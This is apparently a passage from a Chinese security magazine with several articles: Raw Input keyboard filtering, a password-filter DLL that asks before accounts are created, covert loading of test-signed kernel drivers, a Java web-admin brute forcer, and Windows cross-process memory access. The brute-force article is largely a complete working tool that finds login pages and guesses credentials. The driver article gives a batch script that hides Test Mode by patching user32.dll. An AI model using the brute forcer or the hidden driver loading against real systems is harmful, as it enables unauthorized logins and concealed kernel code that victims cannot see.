成多键盘选择性控制。因为当短时间内出现大量的击键消息时， WM_INPUT、WM_HOOK 消息

很可能不是成对出现的。假设出现如下场景： 

Raw Iput：43（1） Hook：43（1） 

Raw Iput：4B（1） Raw Iput：55（1） 

Hook：4B（1）Hook：55（1） 

 很显然，若运行前面编写的代码则会出现“4B”消息未拦截的情况。这里我们可以采用

FIFO 思想，通过 C++提供的容器方式解决上述问题，每次出现 WM_INPUT 消息时，系统暂不

将结果赋予全局变量，而是将其 push 到队列中，具体代码如下所示： 

 

case WM_INPUT: 

{ 

 if (virtualKeyCode == 0x67 &&wcscmp (stringBuffer, 

numericKeyboardDeviceName) == 0) 

 decisionBuffer.push_back (TRUE); 

 else 

 decisionBuffer.push_back (FALSE); 

} 

 

 在 WM_HOOK消息中，取出队列中的处理结果再进行后续处理。 

 

case WM_HOOK: 

{ 
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 BOOL blockThisHook = FALSE; 

 if (!decisionBuffer.empty ()){ 

  blockThisHook = decisionBuffer.front (); 

  decisionBuffer.pop_front (); 

 }if (blockThisHook){ 

 // ... 

 return1; 

 } 

} 

 

 至此，我们已经分析了两种情形，分别为 WM_INPUT、WM_HOOK 成对出现和 WM_INPUT 连

续出现后再出现 WM_HOOK 消息，两种方式均为 WM_INPUT 早于 WM_HOOK 出现，虽然可能

WM_INPUT 晚于 WM_HOOK 出现的概率极低，但也可能会出现偶然现象，此时我们如果仍旧采

用上述代码实现，就无法按照 WM_INPUT 消息给出的控制指令执行下步任务，导致出现异常。

为了准确执行控制指令，我们可以使用 PeekMessage 函数等待 WM_INPUT 消息，然后再判断

消息 code 是否一致，若一致再根据指令判断是否 hook。这种方式看似能够实现上述问题，

但若出现消息丢失情形的话，PeekMessage 方法可能会出现死等待。如我们按下一个

“AltGr”键时，hook 消息认为其是一个 Ctrl+Alt 组合键，Ctrl+Alt 组合键，hook 消息会

产生两个消息，分别为"Ctrl" (11) + "Alt" (12)，然而Raw Iput消息却仅仅发出一个"AltGr" 

(12)，此时即出现消息不对称。为了解决此问题，我们需要设定一个超时时间的阀值，超出

阀值时间即放弃等待。具体实现方式请参照源代码附件，本文不再给出。 

 

小结 

本文主要介绍了 Raw Input 输入及键盘钩子技术的组合用法，实现多键盘输入信号的

选择性控制，通过 Raw Input 技术判断消息来源，匹配事先设定的规则后，将控制指令保存

到一个全局迭代容器内，然后利用 hook 技术捕获 WM_HOOK，并通过 SendMessage 方式将

WM_HOOK 消息发送给主窗口，再在主窗口过程处理函数解析 WM_INPUT 和 WM_HOOK 消息，后

续的具体逻辑处理读者可以参考附件源代码，也可以从 stevemesser-“Using Raw Input 

from C# to handle multiple keyboards”和 AntoineAubry-“Using multiple keyboards 

with different layouts on the same machine”文章中了解更多关于 Raw Input 技术。 
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利用密码过滤器拦截添加用户 

文/图 李旭昇 

 无论在 PC 还是服务器上，新建用户都是较为可疑的行为。许多安全软件已经对其进行

拦截，但经过测试，大多数只过滤运行 net.exe 时的命令行。对于通过 API 函数 NetUserAdd

添加用户则无能为力。这样就有一个明显的漏洞，黑客可以通过 VBS 或者上传一个小程序

来创建用户。 

密码过滤器（Password Filter）正好可以填补这一漏洞。简单的说，密码过滤器是一个

DLL，它导出的 PasswordFilter 和 PasswordChangeNotify 回调会分别在密码创建/修改前后被

LSA 调用。如果 PasswordFilter 拒绝当前操作，则修改密码创建/修改失败。我们可以在该函

数内询问用户是否允许添加用户。代码如下： 

 

#include<Ntsecapi.h> 

#include<Wtsapi32.h> 

#include<iostream> 

#include<string> 

#pragma comment(lib, "Netapi32.lib") 

#pragma comment(lib, "Wtsapi32.lib") 

using namespace std; 

 

BOOL APIENTRY DllMain( HMODULE hModule, 

DWORD  ul_reason_for_call, 

                       LPVOID lpReserved 

      ) 

{ 

 switch (ul_reason_for_call) 

 { 

 case DLL_PROCESS_ATTACH: 

 case DLL_THREAD_ATTACH: 

 case DLL_THREAD_DETACH: 

 case DLL_PROCESS_DETACH: 

  break; 

 } 

 return TRUE; 

} 

 

extern "C" __declspec(dllexport) 

BOOLEAN _stdcallPasswordFilter( 

  _In_  PUNICODE_STRING AccountName, 

  _In_  PUNICODE_STRING FullName, 

  _In_  PUNICODE_STRING Password, 
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  _In_  BOOLEANSetOperation 

){ 

 DWORD sessionId = WTSGetActiveConsoleSessionId(); 

 DWORD ret=0; 

 wstringMsgTilte=L"用户密码变动"; 

 wstringMsg=L"用户 "+wstring(AccountName->Buffer)+L" 的密码正在被修改/创建，

是否允许？\n\n 如果您未在 10 秒内作出选择，该操作将被拒绝。";  

 BOOL bSuccess = WTSSendMessage(0, 

sessionId,(LPWSTR)MsgTilte.c_str(),2*MsgTilte.length(), (LPWSTR)Msg.c_str(), 2*Msg.length(), 

MB_YESNO, 15, &ret, true); 

 //只有明确的允许才返回 true 

 if(bSuccess&& ret==IDYES) return true; 

 //其他情况均返回 false 

 return false; 

} 

  

 PasswordFilter 函数有四个参数，其中前三个为用户名、用户全名和密码。第四个参数

为 SetOperaion，MSDN 里说如果它为 true，则密码正在被添加，否则就在被修改，但事实

上它总是 true。不过我们并不需要区分添加新用户和修改用户密码，这两种行为都要被监控，

否则黑客可以将某个较少使用的用户据为己有，并隐秘的进入系统。 

 PasswordFilter 会弹出一个对话框询问是否允许操作。注意，PasswordFilter 被 lsass.exe

加载，所以一定运行在 Session 0 中。直接弹出对话框用户是看不到的，所以需要用

WTSGetActiveConsoleSessionId获得当前活动 Session，并用WTSSendMessage函数在该 Session

里弹出对话框。这里 WTSSendMessage 设置一个 Timeout 是很有必要的，否则如果该用户一

直不做出选择，PasswordFIlter 函数就无法返回，那么涉及用户的操作都无法进行。比如一

个程序在启动时需要确定登陆的用户，那么它毫无疑问会卡住，这对于无人值守的服务器来

说，是不能接受的。 

 安装 PasswordFilter 也十分简单，只需将 DLL 复制到\Windows\System32 下，并将 DLL

的名字（不含后缀）添加到 HKLM\SYSTEM\CurrentControlSet\Control\Lsa 下的 Notification 

Packages 键值即可。 

 

cd /d %~dp0 

copy /Y PasswordFilter.dll %systemroot%\SYSTEM32 

reg ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Notification Packages" /t 

REG_MULTI_SZ /d "PasswordFilter" /f 

pause 

  

 重启后尝试添加用户，如图 1 所示，PasswordFilter 弹出对话框询问。 
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图 1 

 由于 PasswordFilter 可以直接得到密码明文，所以除了用来监控用户创建，还可以对密

码的复杂度做一些规定。比如密码最少为 8 位，必须是数字和字母的组合等等，而这正是

PasswordFilter 机制的本意，有兴趣的读者可以自行研究。 

                                                                                   

瞒天过海加载“未签名”驱动 

文/图 李旭昇 

 自 Vista 起，64 位版本 Windows 要求内核驱动必须被签名才能加载。如果开启测试模

式（Test Mode），则可以加载带有测试签名的驱动。但桌面右下角会有三行小字，提示当前

正运行在测试模式下。本文提供一种思路，对驱动进行测试签名，并将该水印去除，从而隐

蔽的加载“未签名”驱动。整个过程只需要一个批处理来实现。 

 

cd /d %~dp0 

cd Tools 

rem 生成并添加证书 

makecert.exe -r -pe -ssPrivateCertStore -n "CN=TestCertforWDK" TestCert.cer 

certmgr.exe -add testcert.cer -s -r localMachine root  

certmgr.exe -add testcert.cer -s -r localMachinetrustedpublisher 

 

rem 用证书给驱动签名 

SignTool.exe sign /a /s PrivateCertStore ../TestDriver.sys 

 

rem 开启测试模式 

bcdedit /set testsigning on 

 

rem 移除桌面下方“测试模式”水印 

RemoveWatermarkX64.exe -silent 
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cd../ 

 

rem 加载驱动 

sc create TestDriverbinPath= %~dp0TestDriver.sys type= kernel start= auto 

  

 首先我们生成一个证书，将其导入并且用它给 TestDriver.sys 签名。接着开启测试模式，

移 除 桌 面 水 印 ， 将 驱 动 设 为 自 动 启 动 。 移 除 水 印 需 要 使 用 deepxw 的 工 具

RemoveWatermarkX64.exe。以-silen 作为参数将不提示信息，静默运行，修改完成后自动退

出。如图 1 所示，重启后 TestDriver.sys 自动加载，并监控所有新进程，此时桌面右下角没有

任何水印。 

 

图 1 驱动成功加载，桌面右下角无水印 

 不过 RemoveWatermarkX64 工具是如何去除桌面右下角水印的呢？逆向分析表明，

User32.dll 负责显示水印，而水印文本就是其中的一个字符串资源，所以只需将水印资源清

空，或者直接给相关代码打补丁即可。需要注意的是，Windows 7 以后的版本采用了 MUI

技术，这些字符串资源不在 User32.dll 内，而是在\System32\zh-CN\User32.dll.mui 内。下面

给出直接 Patch User32.dll（这是 RemoveWatermarkX64 的默认做法）的伪代码。 

 

ShellExecute(“takeown /f C:\Windows\System32\user32.dll”); 

ShellExecute(“icacls C:\Windows\System32\user32.dll /grant %username%:F”); 

ShellExecute(“icacls C:\Windows\System32\user32.dll /grant *S-1-1-0:(F)”); 

OriginalFile=“C:\Windows\System32\user32.dll”; 

CopyFile(OriginalFile,“C:\Windows\System32\user32.dll.backup”); 

PatchFile=“C:\Windows\System32\user32.dll.tmp”; 

CopyFile(OriginalFile,PatchFile); 

If(AlreadyPatched(PatchFile)) return ; 

ApplyPatch(PatchFile); 

 

MoveFileEx(OriginalFile, &TempFile, MOVEFILE_REPLACE_EXISTING); 

MoveFileExA(&TempFile, 0, MOVEFILE_DELAY_UNTIL_REBOOT); 

MoveFileExA(PatchFile, OriginalFile, MOVEFILE_REPLACE_EXISTING)); 

 

 由于只有TrustedInstaller账户能对User32.dll进行写操作，所以必须先用 takeown和 icacls

命令赋予当前用户完全控制（F）权限。随后程序将 User32.dll 复制两份，一份作为备份，
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另一份用来破解。破解后，程序将原始的 User32.dll 移动到该卷下的一个临时文件，并且将

破解后的文件移动到\System32\User32.dll，便完成了破解。读者可能会问，User32.dll 正在

被使用，可以移动吗？答案是肯定的，不过只能在同一个卷内移动（移到其它卷需要先复制

文件，再删除旧文件，所以做不到）。如图 2 所示，explorer.exe 装载的 User32.dll 变成了

C:\_@4B90.tmp。这也是上述伪代码中将 C:\_@4B90.tmp 标记为重启删除的原因——它才真

正的正在被使用，不能删除！ 

 

图 2 User32.dll 的马甲 C:\_@4B90.tmp 

从系统安全角度考虑，测试模式下可以加载不可信驱动，是十分严重的威胁。但从某些

论坛中的帖子来看，许多用户在看到桌面右下角的水印时，会选择用工具将其清除，而不是

考虑它为什么出现、有哪些影响，更不会用 bcdedit 命令关闭测试模式。这就涉及“安全意

识”的问题。当然，责任并不在用户身上，事实上，微软或许应该考虑通过更“严肃”的方

式提醒用户潜在的危险。比如像 UAC 一样，在加载测试签名的驱动前询问用户是否允许。

安全软件也应该更谨慎的对待测试模式，比如在为系统安全性打分时，对测试模式进行适当

的罚分。 

以上只是我的一点体会，如有不当，还望批评指正。 

                                                                                  

Java 实现 Web 后台弱口令暴力破解 

文/图 倒霉蛋儿 

实现后台暴力破解一般会采用访问网络比较方便的语言，如 Python、Java。由于我不会

Python，所以本程序由 Java 编写，Java 具有很好的跨平台性和多线程稳定性，开发环境为

jdk1.7.0+Myeclipse10.0，大致思路如下。 

1） 首先获取网站的编码格式，如 GB2312、UTF-8 等。 

2） 根据网站，通过字典扫描常用的后台页面的地址，若返回 200，说明该页面有效。 

3） 解析登陆页面，得到提交表单的地址以及 form 的 html 代码，然后继续解析 input，

得到 name 属性以及隐藏域等。 

4） 若解析成功，将这些参数连接起来，发送 Post 请求，判断返回信息来验证是否登录

成功。 

5） 若解析失败，直接从数据库里查询登录地址，以及登录参数等信息，然后提交进行

登录。 
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首先要做的是扫描后台登录页面，把后台地址、提交地址、登录参数等存入 SQLite 数

据库，由于时间有限，我只收集了 11 条记录。 

 

图 1 

把字典按照线程数平均分块，测试链接是否能访问，从而得到登录地址，代码如下。 

 

public class GetAdminURL 

{ 

 //解析HTML的表单，获取登陆参数 

 public static String[] ParseLogCheck(String sAdminURL, String encode, int timeout) 

 { 

  String sHTML = HttpRequest.sendGet(sAdminURL,null, encode,2000); 

  Document document = Jsoup.parse(sHTML); 

  org.jsoup.select.Elements elements = document.getElementsByTag("form"); 

  String 

action=null,login=null,password=null,submit=null,submitval=null,hiddenname="",hiddenval="",p

arams=null; 

  String[] sInfo = new String[2]; 

  action = elements.attr("action"); 

  elements = document.getElementsByTag("input"); 

  for(Element element:elements) 

  { 

   if(login==null &&element.attr("type").equals("text"))//获得账号框 

   { 

    login = element.attr("name"); 

   } 

   else if(password==null &&element.attr("type").equals("password"))//获得密

码框 

   { 

    password = element.attr("name"); 

   }else if(submit==null &&submitval==null 

&&element.attr("type").equals("submit"))//获得提交按钮 

   { 

    submit = element.attr("name"); 

    submitval = element.attr("value"); 

   }else if(element.attr("type").equals("hidden")){//可能有隐藏域 

    hiddenname = element.attr("name"); 
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    hiddenval  =element.attr("value"); 

   } 

  } 

   

  if(login!=null&&password!=null&&submit!=null) 

  { 

   params=login+"=%user%&"+password+"="+"%pass%&"+ submit+"="+ 

UrlDeal.encodeURIComponent(submitval)+"&"+hiddenname+"="+hiddenval; 

  } 

  String[] sTmp = sAdminURL.split("/"); 

  String sRoot= sAdminURL.replace(sTmp[sTmp.length-1], ""); 

  if(action.contains("http://")) //如果action直接就是url，则不需要跟路径 

  { 

   sRoot=""; 

  } 

   

  if(action.contains("?"))  //如果提交地址含有?，则只取地址 

  { 

   sTmp = action.split("[?]"); 

   sInfo[0] = sRoot + sTmp[0]; 

  }else { 

   sInfo[0] = sRoot + action; 

  } 

  sInfo[1] = params; 

  returnsInfo; 

 } 

 //检测管理页面登陆入口找到后返回String数组，0号存登陆入口，1号存登陆参数 

 public static String[] ScanUrl(final String website, final LinkedList<Map<String, 

String>>dics, intThreadCount, final String encode, final int timeout) 

 { 

  final String temp[] = new String[2]; 

  final int length = dics.size();//所有记录的长度 

  int part = length/ThreadCount, rem = length%ThreadCount; 

  //每一个线程分配字典的数量 

  finalCountDownLatchthreadsSignal= new CountDownLatch(ThreadCount); 

   

  for(inti=1;i<=ThreadCount;i++) 

  { 

   finalint low=part*(i-1); 

   finalint up; 

   if(i<ThreadCount) 

   { 

    up = part*i-1; 

   } 
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   else {//最后一个线程，把剩下的字典都分给他 

    up = part*i-1+rem; 

   } 

   new Thread(){ 

    @Override 

    public void run() 

    { 

     super.run(); 

     for(inti=low;i<=up;i++) 

     { 

      String dic,url,login_check,param; 

      dic = dics.get(i).get("adminURL").toString(); 

      //获取后台管理页面 

      url = website+dic; 

      System.out.println("正在检测:"+url +  

        "("+ (i+1) +"/" + dics.size() + ")"); 

      if(HttpRequest.Isvalid1(url)) 

      { 

       System.out.println("检测到管理页面: " + url + "存在"); 

       String []sTmp=ParseLogCheck(url, encode, timeout); 

       //通过解析管理页面登陆，获得登陆提交地址 

       login_check = sTmp[0]; 

       param = sTmp[1]; 

       if(HttpRequest.Isvalid1(login_check) &&param!=null) 

       //检测是否有效 

       { 

        System.out.println("检测到登录入口: " + 

login_check + "存在"); 

        temp[0]=login_check; 

        temp[1]=param; 

        System.out.println("成功分析出登陆参数！"); 

        System.out.println("提交信息

为:"+login_check+"?"+param); 

        break; 

       }//无效直接从数据库提取 

       else 

       { 

        System.out.println("分析提取失败，准备从数据库

检索登录信息"); 

        login_check = 

website+dics.get(i).get("adminCHECK_LOGIN").toString();; 

        if(HttpRequest.Isvalid1(url)==true) 

        { 

         System.out.println("检测到登录入口: " + 
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login_check + "存在"); 

         param = 

dics.get(i).get("adminLOGIN_PARAM").toString(); 

         temp[0]=login_check; 

         temp[1]=param; 

         break; 

        } 

       } 

      } 

     } 

     //System.out.println(Thread.currentThread().getName() + "结束. 

还有" + threadsSignal.getCount() + " 个线程");   

     threadsSignal.countDown();//线程结束时计数器减1   

    } 

   }.start(); 

  } 

   

  try 

  { 

   threadsSignal.await(); 

  } catch (InterruptedException e) 

  { 

   e.printStackTrace(); 

  } 

  return temp; 

 } 

} 

 

得到登录地址后，解析 HTML 代码，来构造登录参数。我们首先分析下登录页面，form

表单的 action 属性里，通过抓包可知，它就是表单的提交地址，而前两个 input 的 name 属

性和参数的 login_name、login_pass对应，第三个 input的 valuesubmit的 value跟参数的 Submit

对应（中文要转换成 URL 编码）。 

当然，这种自动获取登陆参数的成功率非常低，因为不同网站登录页面都是不一样的，

不一定能成功获得各种控件的属性，若解析失败了，就需要通过字典来查找了。如图 2 和图

3 所示。 
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图 2 

 

图 3 

得到了提交地址和登录参数，现在就可以提交表单进行暴力破解了。同样，也把登录错

误的返回信息放到 SQLite 里，如果 POST 后返回的 HTML 代码中含有密码错误、无效之类的

信息就可以断定登录失败，接着尝试下一条账号密码。模块代码如下： 

 

public class TryLogin 

{ 

 LinkedList<String>sUsername, sPassword, sErrorList; 

 String sURL, Param; 

 intThreadCount, timeout; 

 String Encode; 

 final Boolean successedquit;//成功就退出 

 Boolean isstop=false;//为真时线程结束，停止破解 

 TryLogin(String sURL,StringParam, LinkedList<String>sUserName, 

LinkedList<String>sPassword, LinkedList<String>sErrorList,intThreadCount, String Encode, int 

timeout, Boolean successedquit) 

 { 

  this.sUsername = sUserName; 

  this.sPassword = sPassword; 

  this.sURL = sURL; 

  this.Param = Param; 

  this.ThreadCount = ThreadCount; 
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  this.Encode = Encode; 

  this.timeout = timeout; 

  this.sErrorList = sErrorList; 

  this.successedquit = successedquit; 

 } 

  

 Boolean IsError(String sInfo) 

 { 

  for(String str:sErrorList) 

  { 

   if(sInfo.contains(str)) 

   { 

    return true; 

   } 

  } 

  return false; 

 } 

  

 LinkedList<Map<String, String>>DoLogin() 

 { 

  finalLinkedList<Map<String, String>>linkedList= new 

LinkedList<Map<String,String>>(); 

  finalLinkedList<Map<String, String>>userpass= new 

LinkedList<Map<String,String>>(); 

  for(String username:sUsername) 

  { 

   for(String password:sPassword) 

   { 

    Map<String, String> map = new HashMap<String, String>(); 

    map.put("username", username); 

    map.put("password", password); 

    linkedList.add(map); 

   } 

  } 

   

  final int length = linkedList.size();//所有记录的长度 

  int part = length/ThreadCount, rem = length%ThreadCount; 

  //每一个线程分配字典的数量 

  finalCountDownLatchthreadsSignal= new CountDownLatch(ThreadCount); 

   

  for(inti=1;i<=ThreadCount;i++) 

  { 

   finalint low=part*(i-1); 

   finalint up; 
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   if(i<ThreadCount) 

   { 

    up = part*i-1; 

   } 

   else {//最后一个线程，把剩下的字典都分给他 

    up = part*i-1+rem; 

   } 

    

   new Thread(){ 

    @Override 

    public void run() 

    { 

     super.run(); 

     //System.out.println(low+"~"+up); 

     for(inti=low;i<=up;i++) 

     { 

      if(isstop)stop(); 

      String username = linkedList.get(i).get("username").toString(), 

password = linkedList.get(i).get("password").toString(); 

      String temp=""; 

      if(Param.contains("%user%")) 

       temp=Param.replace("%user%", username); 

      if(temp.contains("%pass%")) 

       temp=temp.replace("%pass%", password); 

      String webContent = HttpRequest.sendPost(sURL, 

temp,Encode, timeout);//返回信息 

      System.out.println(webContent); 

      if(webContent.length()<=0 || IsError(webContent)) 

      //返回为空或者返回错误列表中的信息判断为登陆失败 

      { 

       System.out.println("尝试"+username+"/"+password+"失

败"+"("+(i+1)+"/"+length+")"); 

      } 

      else 

      { 

       System.out.println("尝试"+username+"/"+password+"成

功"+"("+(i+1)+"/"+length+")"); 

       Map<String, String> map = new HashMap<String, 

String>(); 

       map.put("username", username); 

       map.put("password", password); 

       map.put("info", webContent); 

       userpass.add(map); 

       if(successedquit)//破解一个成功就退出 
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       { 

        isstop = true; 

        while(threadsSignal.getCount()!=0) 

        { 

         threadsSignal.countDown(); 

         try 

         { 

          sleep(1000); 

         } catch (InterruptedException e) 

         { 

          // TODO Auto-generated catch block 

          e.printStackTrace(); 

         } 

        } 

        return; 

       } 

      } 

     } 

     threadsSignal.countDown(); 

    } 

   }.start(); 

  } 

   

  try 

  { 

   threadsSignal.await(); 

  } catch (InterruptedException e) 

  { 

   e.printStackTrace(); 

  } 

  returnuserpass; 

 } 

} 

 

本程序支持自动和手动两种方式破解，自动破解只需要指定“-w”参数，加上网站的域

名就可以自动破解，手动破解需要指定提交地址和登录的参数。 

这些功能都是在主函数里实现的，代码如下： 

 

public class main { 

 staticLinkedList<Map<String, String>>link_url; 

 staticLinkedList<String>link_username; 

 staticLinkedList<String>link_password; 

 staticLinkedList<String>link_error; 

 public static Boolean LoadDic() 
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 { 

  DBMethoddbMethod = new DBMethod(); 

  link_url=dbMethod.LoadAdminURL(); 

  link_username=dbMethod.LoadUsername(); 

  link_password=dbMethod.LoadPassword(); 

  link_error=dbMethod.LoadErrorList(); 

  dbMethod.CloseConn(); 

  return (link_url.size()>0 &&link_username.size()>0 &&link_password.size()>0); 

 } 

 public static void PrintHelpInfo() 

 { 

  System.out.println("本程序可以暴力破解网站后台密码，支持自动破解和手动

破解两种模式"); 

  System.out.println(" 自 动 破 解 使 用  -w 参 数 例 如 ：  -w 

http://www.example.com"); 

  System.out.println("手动破解需要指明-l -p 参数,-l 代表后台提交账号密码的入

口 -p 代表登陆提交时的参数"); 

  System.out.println(" 例 如 ： 

action=login&loginlang=login.php?langset=cn&login_name=%user%&login_pass=%pass%&Submi

t=%E7%99%BB%E5%BD%95"); 

  System.out.println("参数通过抓包可以得到，然后将账号，密码的值替换

成%user%和%pass%"); 

  System.out.println("通过-t 指定线程数量建议 5-20 个，根据字典的数量自行选

择"); 

  System.out.println("您还可以通过-o 来指定超时，默认 3000ms"); 

  System.out.println("指定-s 参数时，当破解出一个账户就退出"); 

 } 

  

 public static void main(String[] args) 

 { 

  String webSite=null, login_url=null, params=null,Encode; 

  intthreadcount=5,timeout = 1000; 

  Boolean succeedstop=false; 

  if (args.length==0) 

  { 

   PrintHelpInfo(); 

   return; 

  } 

  for(inti=0;i<args.length;i++) 

  { 

   if(args[i].equals("-w")) 

   { 

    if(i==args.length-1 || !args[i+1].contains("http://")) 

    { 
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     System.out.println(" 网 站 格 式 不 合 法 ！ 例 如 ： 

http://www.example.com"); 

     return; 

    } 

    webSite = args[i+1];//指定网站 

   } 

   else 

   { 

    if(args[i].equals("-l")) 

    { 

      

     if(i==args.length-1 || !args[i+1].contains("http://")) 

     { 

      System.out.println(" 登 陆 入 口 格 式 不 合 法 ！ 例 如 ： 

http://www.example.com/admin/login/login_check.php"); 

      return; 

     } 

     login_url = args[i+1];//指定登陆入口 

    } 

     

    if(args[i].equals("-p")) 

    { 

     if(i==args.length-1 

|| !args[i+1].contains("%user%")||!args[i+1].contains("%pass%")||!args[i+1].contains("&")) 

     { 

      System.out.println(" 登陆参数格式不合法！例如：  -p 

action=login&loginlang=login.php?langset=cn&login_name=%user%&login_pass=%pass%&Submi

t=%E7%99%BB%E5%BD%95"); 

      System.out.println("参数通过抓包可以得到，然后将账号，

密码的值替换成%user%和%pass%"); 

      return; 

     } 

     params = args[i+1]; 

      

    } 

   } 

    

   if(args[i].equals("-t")) 

   { 

     

    if(i==args.length-1 || !Others.isNumeric(args[i+1])) 

    { 

     System.out.println("线程数请输入整数建议 5-20 个，根据字典的

数量自行选择"); 
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     return; 

    } 

    threadcount = Integer.valueOf(args[i+1]); 

   } 

    

   if(args[i].equals("-o")) 

   { 

     

    if(i==args.length-1 || !Others.isNumeric(args[i+1])) 

    { 

     System.out.println("超时请输入整数默认 3000，根据网络情况选

择"); 

     return; 

    } 

    timeout = Integer.valueOf(args[i+1]); 

   } 

    

   if(args[i].equals("-s"))//破解出一个就自动停止 

   { 

    succeedstop=true; 

   } 

    

   if(args[i].equals("-h")) 

   { 

    PrintHelpInfo(); 

    return; 

   } 

  } 

   

  LoadDic(); 

   

  System.out.println("准备载入字典"); 

  if(LoadDic()) 

  { 

   System.out.println("字典载入成功"); 

  } 

  else 

  { 

   System.out.println("字典载入失败"); 

   return; 

  } 

 

  System.out.println("准备破解"); 
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  if(webSite!=null)//给定网站自动破解 

  { 

   Encode = Others.GetEncode(webSite, timeout); 

   System.out.println("网站编码为 "+Encode); 

   System.out.println("开始自动破解"); 

   String[] loginURL; 

   loginURL = GetAdminURL.ScanUrl(webSite, link_url, threadcount, Encode, 

timeout); 

    

   if(loginURL!=null &&loginURL[0]!=null &&loginURL[1]!=null) 

   { 

    TryLogintryLogin = new TryLogin(loginURL[0], loginURL[1],link_username, 

link_password, link_error, threadcount, Encode, timeout, succeedstop); 

    LinkedList<Map<String, String>> lined = tryLogin.DoLogin(); 

    if(lined.size()>0) 

    { 

     System.out.println("破解成功"); 

     for(Map<String, String>map:lined) 

     { 

      System.out.println(" 用 户

名:"+map.get("username").toString()); 

      System.out.println("密码:"+map.get("password").toString()); 

      System.out.println("返回信息:"+map.get("info").toString()); 

     } 

    } 

    else { 

     System.out.println("破解失败"); 

    } 

   } 

   else 

   { 

    System.out.println("破解失败，原因是未扫描到后台入口"); 

   } 

  } 

  else if(login_url!=null &&params!=null)//自定义入口参数等 

  { 

   System.out.println("开始指定参数的破解"); 

   Encode = Others.GetEncode(login_url, timeout); 

   System.out.println("网站编码为 "+Encode); 

   TryLogintryLogin = new TryLogin(login_url, params, link_username, 

link_password, link_error, threadcount, Encode, timeout, succeedstop); 

   LinkedList<Map<String, String>> lined = tryLogin.DoLogin(); 

   if(lined.size()>0) 

   { 
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    System.out.println("破解成功"); 

    for(Map<String, String>map:lined) 

    { 

     System.out.println("用户名:"+map.get("username").toString()); 

     System.out.println("密码:"+map.get("password").toString()); 

    } 

   } 

   else { 

    System.out.println("破解失败"); 

   } 

  } 

  else { 

   System.out.println("给定参数错误！"); 

  } 

 } 

} 

 

程序编译好后，用 j2ewiz 这款工具来转换成 EXE 格式的文件，做成控制台即可。 

下面我们来测试破解 metinfo，如图 4 所示。 

 

图 4 
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不过，还有很多网站有防止暴力破解的功能，如 joomla，多次尝试登陆错误就会出现图

5 所示的提示。。 

 
图 5 

还有一些网站，登陆有复杂的验证，不只检验账号密码，有的还会加上时间戳、cookie

之类的，这样的话，只能修改程序，增加相应的参数。 

本文只是为了抛砖引玉，没有什么技术含量，仅仅实现了多线程破解，可以自定义参数，

指定超时，我们还可以增加很多细节，也没能实现构造字典等高级功能，刚刚学习 Java，代

码写的可能不严谨，还望见谅。 

                                                                                 

Windows 中的跨进程数据操作 

文/图 王晓松 

大家都知道，现代操作系统不同进程之间的地址空间是互相隔离的，比如进程 1 和进

程 2 同是地址 0x40000000，其对应的内容并不相同。但如果你用过金山游侠，会知道在该

软件里，选择一个要挂接的进程，就可以查看被挂接进程的内存，这是如何实现的呢？这就

涉及到 Windows 中的跨进程数据操作。 

为了搞清楚 Windows 是如何实现跨进程数据操作的，首先我们要搞清 Windows 中进程之

间是如何实现隔离的。所谓的隔离，就是两个进程用户空间的隔离（因为每个进程的内核空

间是一致的，所以不涉及到隔离），如进程 1 与进程 2 中同样是 0x40000000 的地址，其存储

的内容并不相同，Windows 实现进程间隔离的实质在于经过页目录/页表映射后，其背后对

应的物理内存并不相同，如图 1 所示。 

 

图 1  进程间地址的隔离在于页目录/页表的映射 

按说这种设计理念就是为了保证进程之间的独立性：一个进程就像自家院子，管好自己

这一摊子就可以了(当然除了公用的部分)，但是在 Windows的实际实现中，往往还会有超出

这种规矩的需求，比如进程 1 需要读取/修改进程 2 地址空间中的数据，问题也恰恰在于

Windows 提供了满足这种需求的机制。从根本上说，读取/修改数据就是要读取/修改对应物

并不相同 

0x4000000

0 

页目录/页表转换 页目录/页表转换 

进程 1的地址空间 

0x40000000 

物理内存 物理内存 

进程 2的地址空间 
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理内存中的数据，隔离的实质是通过页目录/页表的映射，将同一地址映射为不同的物理地

址，即有了页目录/页表的映射机制，导致我们无法定位到真实物理内存中的地址，一个很

自然的思路是如果进程 1 使用进程 2的页目录/页表，那么不就相当于可以直接读取/修改进

程 2 中的内容了吗？实际上，Windows 实现跨进程操作根本的思路也是如此，下面我们看看

Windows 的实现。 

在此我们有必要回顾一下 Windows中的寻址机制。在我的文章“一次艰辛的寻址之旅”

中，我们看到每个进程都有单独的页目录/页表，如图 2 所示，CR3 寄存器里存储的内容实

际上就是页目录的物理地址，由页目录进而过渡到页表，直至具体的页面。如果 CR3 指向的

地址不同，就会导致选用不同的页目录，从而页表，具体的页面也就会完全的不同。因此进

程切换，为了更改到新进程的地址空间，就需要更改 CPU中的 CR3 寄存器，从而切换到新进

程的页目录/页表，完成地址空间的切换。说得直白一些，页目录/页表的不同在于 CR3 中的

内容，修改 CR3，也就更改了页目录/页表，实际上也就更改了进程的地址空间，因此可以

说 CR3 是寻址的原点。CR3 寄存器只有一个，在 CPU 里，当进程 1 中的线程处于运行期间，

CR3 中存放的是进程 1 页目录的物理地址，当需要切换到另外一个进程 2 中的线程时，系统

获取进程 2 对应的进程管理结构 KPROCESS 中的 DirectoryTableBase[0]成员内容，这个内

容就是该目标进程得到调度时需要填充入 CR3寄存器中的值，然后将该数值放于 eax 中，其

后，使用指令 MOV CR3,EAX 切换 CR3，完成进程地址空间的切换。 

 
图 2 寻址的原点在于 CR3 

下面我们看下 Windows在实现跨进程操作中的具体实现。在 Windows中，跨进程数据操

作最典型的应用是 ReadProcessMemory 和 WriteProcessMemory 两个函数，这两个函数在具

体实现上非常相似，下面我们以 WriteProcessMemory 函数为例，其原型如下： 

WriteProcessMemory

（hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesWritten） 

其中 hProcess 表示目标进程的句柄，lpBaseAddress表示要写入的起始地址，lpBuffer

PTE 

CR3 

寄存器 

页目录 

页  表 

页   面 

PTE 

页  表 

页   面 

PDE 

PDE 
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表示写入的缓存区地址，nSize 表示要写入缓存区的大小，lpNumberOfBytesWritten 表示返

回实际写入的字节。 

为了实现这个函数，我们需要解决两个问题： 

1） 进程 1 的触角如何伸到进程 2 的空间；  

2） 如何将进程 1 需要写入的数据（lpBuffer 地址中的数据）传递到进程 2 的用户空

间。 

对于问题 1，思路是这样的，当进程 1 执行 WriteProcessMemory 函数代码时，进入内

核空间，而内核代码空间是进程 1 和进程 2 共有的，在内核空间进程 1 中的代码通过目标进

程的句柄，得到保存在该进程对应结构 KPROCESS 中的 DirectoryTableBase[0]内容，并将

